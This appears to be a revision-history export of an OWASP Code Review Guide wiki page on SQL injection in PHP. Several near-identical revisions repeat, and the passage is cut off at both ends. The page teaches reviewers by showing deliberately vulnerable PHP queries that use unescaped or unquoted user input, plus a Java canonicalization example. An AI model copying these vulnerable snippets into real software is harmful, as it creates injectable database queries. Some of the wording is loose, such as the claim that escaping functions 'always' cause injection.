  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
&lt;br /&gt;
addslashes() will only work if the query string is wrapped in quotes.A string such as the following would still be vulnerable to an SQL injection&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160900</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160900"/>
				<updated>2013-10-16T02:39:47Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
addslashes() will only work if the query string is wrapped in quotes.A string such as the following would still be vulnerable to an SQL injection&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160899</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160899"/>
				<updated>2013-10-16T02:39:01Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
addslashes() will only work if the query string is wrapped in quotes.A string such as the following would still be vulnerable to an SQL injection&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160898</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160898"/>
				<updated>2013-10-16T02:38:35Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
addslashes() will only work if the query string is wrapped in quotes.A string such as the following would still be vulnerable to an SQL injection&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160896</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160896"/>
				<updated>2013-10-16T02:19:54Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $a=$_GET[&amp;quot;a&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT * FROM user WHERE id = '&amp;quot;.$a.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Business Validation==&lt;br /&gt;
Business validation is concerned with business logic. An understanding of the business logic is required prior to reviewing the code which performs such logic. Business validation could be used to limit the value range or a transaction inputted by a user or reject input which does not make too much business sense. Reviewing code for business validation can also include rounding errors or floating point issues which may give rise to issues such as integer overflows which can dramatically damage the bottom line. &lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160895</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160895"/>
				<updated>2013-10-16T02:19:00Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection&lt;br /&gt;
&amp;quot;&amp;quot;Example 1 :&amp;quot;&amp;quot;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$a=$_GET[&amp;quot;a&amp;quot;];&lt;br /&gt;
$con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
$sql=&amp;quot;SELECT * FROM user WHERE id = '&amp;quot;.$a.&amp;quot;'&amp;quot;;&lt;br /&gt;
$result = mysql_query($sql);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Business Validation==&lt;br /&gt;
Business validation is concerned with business logic. An understanding of the business logic is required prior to reviewing the code which performs such logic. Business validation could be used to limit the value range or a transaction inputted by a user or reject input which does not make too much business sense. Reviewing code for business validation can also include rounding errors or floating point issues which may give rise to issues such as integer overflows which can dramatically damage the bottom line. &lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
